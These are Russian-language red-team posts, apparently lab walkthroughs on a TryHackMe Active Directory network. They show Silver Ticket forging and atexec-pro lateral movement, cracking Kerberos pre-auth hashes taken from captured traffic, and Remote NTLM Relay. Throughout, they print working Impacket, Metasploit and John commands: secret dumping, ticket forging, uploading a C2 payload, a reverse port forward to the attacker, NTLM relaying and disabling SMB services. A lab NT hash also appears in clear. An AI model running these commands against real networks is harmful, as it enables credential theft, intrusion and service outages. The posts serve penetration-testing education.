💻Remote NTLM Relay preparation: Lateral Movement without NTLM and 445/TCP💻
В ходе решения одной из сетей на известной платформе может сложиться ситуация, с которой столкнулся я.
Имея привилегированный доступ к серверу, который впоследствии будет использоваться для Remote NTLM Relay, я без задней мысли отключил службы NetLogon, LanManServer и LanManWorkstation и перезагрузил машину, забыв закрепиться на ней встроенными средствами фрэймворка постэксплуатации.
Сделал я это следующим образом:

sc stop netlogon
sc stop lanmanserver
sc config lanmanserver start= disabled
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled

После перезагрузки хоста я удостоверился, что порт 445 не прослушивается сервером (nmap -p 445 -sT -Pn <serverIP>), после чего решил продолжить атаку, но столкнулся с очевидной проблемой: я не могу пройти аутентификацию на сервере и, следовательно, запустить бинарный файл, необходимый для организации портфорвардинга.

Имеем 2 проблемы:
1) Не работают службы NetLogon, LanManServer и LanManWorkstation, из-за чего не получится пройти аутентификацию на целевом сервере при помощи NTLM;
2) Не работает SMB-порт, необходимый для работы большинства утилит из набора Impacket.

Что же делать?
Решение довольно очевидное. Вместо NTLM можно использовать Kerberos, так как мы находимся в доменной инфраструктуре. Не зря же после получения системного доступа к атакуемому серверу мы дампили его LSA-секреты?
А вместо стандартных скриптов из набора Impacket можно использовать их "pro вариации", которые не требуют доступа к 445 порту целевого сервера.

Начнем атаку!
Шаг 1. Silver Ticket🎫
Первый шаг показан в демонстративных целях, чтобы видеть хэш пароля учетной записи атакуемого сервера. Напомню, что его мы получили ранее путем дампа LSA-секретов на самом сервере.

proxychains impacket-secretsdump holo.live/Administrator@10.201.126.30 -hashes :<redacted> -just-dc-user 'PC-FILESRV01$'

...
PC-FILESRV01$:1120:aad3b435b51404eeaad3b435b51404ee:e66f5cf1a026516d1d2220130d8d13c4

Для осуществления атаки нам необходим SID домена, который мы получим с использованием скрипта impacket-lookupsid из набора Impacket (в данном случае используем технику Pass-the-Hash в отношении контроллера домена):

proxychains impacket-lookupsid HOLO.LIVE/'PC-FILESRV01$'@10.201.126.30 -hashes :e66f5cf1a026516d1d2220130d8d13c4

Получаем SID домена: S-1-5-21-471847105-3603022926-1728018720

После получения SID начинаем крафтить Silver Ticket, чтобы получить привилегированный доступ к целевому серверу. Путь до полученного тикета записываем в переменную окружения KRB5CCNAME:

proxychains impacket-ticketer -nthash e66f5cf1a026516d1d2220130d8d13c4 -domain-sid S-1-5-21-471847105-3603022926-1728018720 -dc-ip 10.201.126.30 -domain holo.live -spn HOST/PC-FILESRV01.holo.live 'watamet'

export KRB5CCNAME=watamet.ccache

Шаг 2. ATExec Pro🤩
После этого уже при помощи известного нам atexec-pro.py и полученного билета получаем доступ к целевому серверу и запускаем наш C2-агент (для примера здесь используется MSF):

proxychains python3 atexec-pro.py PC-FILESRV01.holo.live -k -no-pass -dc-ip 10.201.126.30

Внутри шелла:
ATShell (@PC-FILESRV01.holo.live)> upload /root/THM/Holo/binaries/msf_win_x64.exe C:\Windows\Tasks\msf.exe
ATShell (@PC-FILESRV01.holo.live)> C:\Windows\Tasks\msf.exe

Поэтапно те же действия можно видеть на приложенных скриншотах.
1) Получение SID домена при помощи impacket-lookupsid;
2) Создание Silvet Ticket при помощи impacket-ticketer для привилегированного доступа к целевому хосту;
3) Получение доступа к целевому хосту при помощи atexec-pro.py с использованием ранее полученного билета (обращаю внимание на лог ProxyChains, где отсутствует коннект до 445 порта).

👮‍♀Восстановление паролей из перехваченного трафика Kerberos👮‍♀
Внезапная заметка, которая может помочь вам незаметно получить учетные данные доменного пользователя без необходимости взаимодействия с контроллером домена💻

Представьте, что вы получили доступ к какому-то сетевому устройству (пусть это будет, например, PfSense), и у вас получилось его встроенными (или не совсем) средствами записать трафик, в котором вы позже нашли успешную Kerberos аутентификацию. Выглядеть она будет так, как показано на первом скриншоте😅

Для восстановления пароля пользователя нас интересует этап преаутентификации (AS-REQ), где передаётся зашифрованная секретом пользователя метка времени, которая и подвергнется атаке (а секрет считается из пароля этого пользователя).

Для осуществления атаки подготавливаем среду. В качестве ОС я использую Kali, а средство, которое нам даст требуемые артефакты, — известное ПО для сетевой форензики NetworkMiner.
Первым делом устанавливаем ПО на нашу ОС. Так как NetworkMiner разработан под Windows, для его запуска на Kali используем mono, который также нужно установить:

sudo apt install -y mono-devel

wget https://www.netresec.com/?download=NetworkMiner -O ./networkminer.zip

unzip networkminer.zip

mono NetworkMiner_2-9/NetworkMiner.exe --noupdatecheck

После того, как мы успешно запустили NetworkMiner, импортируем туда файл с трафиком.
Важно: NetworkMiner не умеет обрабатывать файлы с расширением .pcapng, поэтому перед импортом файла убедитесь, что он сконвертирован в нужный формат. Сделать это можно следующим образом:

tshark -F pcap -r traffic.pcapng -w traffic.pcap 

После успешного открытия файла идём во вкладку Credentials, где видим извлеченные хэши в удобном для копирования формате (второй скриншот).
Мы будем взламывать именно PreAuth-данные (krb5pa), поэтому правой кнопкой нажимаем на хэш в NetworkMiner и копируем его в буфер обмена.

Далее дело за малым: записать его в файл и натравить HashCat или JtR для атаки:

echo '$krb5pa$18$william.dupond$CATCORP.LOCAL$CATCORP.LOCALwilliam.dupond$fc8b...' > pa.hash

sudo john --wordlist=/usr/share/wordlists/rockyou.txt pa.hash

Результат успешной атаки можно наблюдать на третьем скриншоте.

И это далеко не единственный случай, когда BlueTeam инструменты помогают красным командам достичь своих целей👽

💻Yet Another NTLM Relay Attack💻
Многие слышали об атаках NTLM Relay, но, как и большинство атак, их осуществление возможно при достижении определенных условий.
Зачастую такие атаки осуществляются либо при помощи Responder (в таком случае ключевую роль играет успешность отравления широковещательных запросов, используемых некоторыми протоколами в Windows-сетях), либо используется механизм принудительной аутентификации (A.K.A. Coerce).
В первом случае нам необходим доступ к той же сети, где находится наша "жертва", а во втором мы получим возможность ретранслировать учетную запись компьютера в домене, что тоже не всегда приводит к желаемым результатам.

В чем суть Remote NTLM Relay?
Сегодня мы рассмотрим ещё одну вариацию атаки перенаправления аутентификации NTLM. Хоть она не пользуется большой популярностью в силу особенностей эксплуатации, знать о ней полезно.
Речь идет о Remote NTLM Relay. Эта атака будет работать за счёт принудительной остановки SMB-служб на сервере и его дальнейшего перезапуска, чтобы весь трафик, поступающий на 445 порт сервера, был затем перенаправлен на атакующую машину. Благодаря этому атакующий может перенаправить (зарелэить) входящие сессии туда, куда ему нужно.
Оригинальный пост, посвященный атаке, можно найти здесь, а единственное упоминание до этого исследования можно найти в этом блоге.

Для эксплуатации нам нужно проделать несколько несложных этапов.
Этап 1. Подготовка сервера👽
Чтобы настроить сервер для дальнейшей эксплуатации, нам нужно отключить SMB-службы и перезапустить его.
Ниже приведены шаги для этого:
1. Отключение NetLogon:

sc stop netlogon

2. Отключение и остановка SMB-сервера (службы LanManServer):

sc stop lanmanserver
sc config lanmanserver start= disabled

3. Полная остановка LanManWorkstation:

sc stop lanmanworkstation
sc config lanmanworkstation start= disabled

Эти шаги можно увидеть на первом скриншоте.
После отключения служб нужно перезагрузить машину (shutdown /r /t 0). Важно именно перезагрузить устройство, а не выключить его.
После перезагрузки сервера уже известным способом получаем оболочку на нём (в ходе атаки я использую meterpreter).

Этап 2. Настройка атакующей машины.
На атакующей машине для ретрансляции NTLM используем скрипт ntlmrelayx.py из набора Impacket🐍. В демонстрационном примере атака осуществляется на сервер 10.201.126.30, так как он не требует подписания SMB. Прокси-сервер, используемый в ходе атаки, будет прослушивать на порту 1090, поэтому команда запуска скрипта выглядит следующим образом:

proxychains impacket-ntlmrelayx -t smb://10.201.126.30 -smb2support -socks -socks-port 1090

Этап 3. TCP relay через meterpreter.
При помощи полученной на первом этапе оболочки осуществляем перенаправление входящего на порт 445/TCP на стороне сервера трафика на атакующую машину, с которой будет осуществляться релэй (второй скриншот).

portfwd add -R -L 10.51.124.39 -l 445 -p 445

Если все шаги проделаны верно, то мы можем поймать сессию и успешно ретранслировать её (третий скриншот).

Этап 4. Постэксплуатация.
После успешного релэя ntlmrelayx.py будет любезно держать для нас открытую сессию, поэтому, сделав кастомный конфиг для proxyсhains, мы можем использовать другие Impacket-like утилиты для постэксплуатации.
В моём случае пользователь, сессию которого удалось ретранслировать, обладает высокими привилегиями относительно целевой машины, поэтому логично использовать secretsdump.py для получения новых учетных данных для горизонтального перемещения в домене (четвёртый скриншот):

proxychains -f p4-ntlm-relay.conf impacket-secretsdump -no-pass HOLOLIVE/SRV-ADMIN@10.201.126.30

Причина, по которой этот вектор атаки не получил широкого распространения, заключается в его деструктивности: отключение SMB-служб на активно используемом сервере приведёт к DoS и простоям сервера. В реальных условиях такие последствия могут стать серьезной проблемой, поэтому выполнять атаку следует только с явного разрешения заказчика.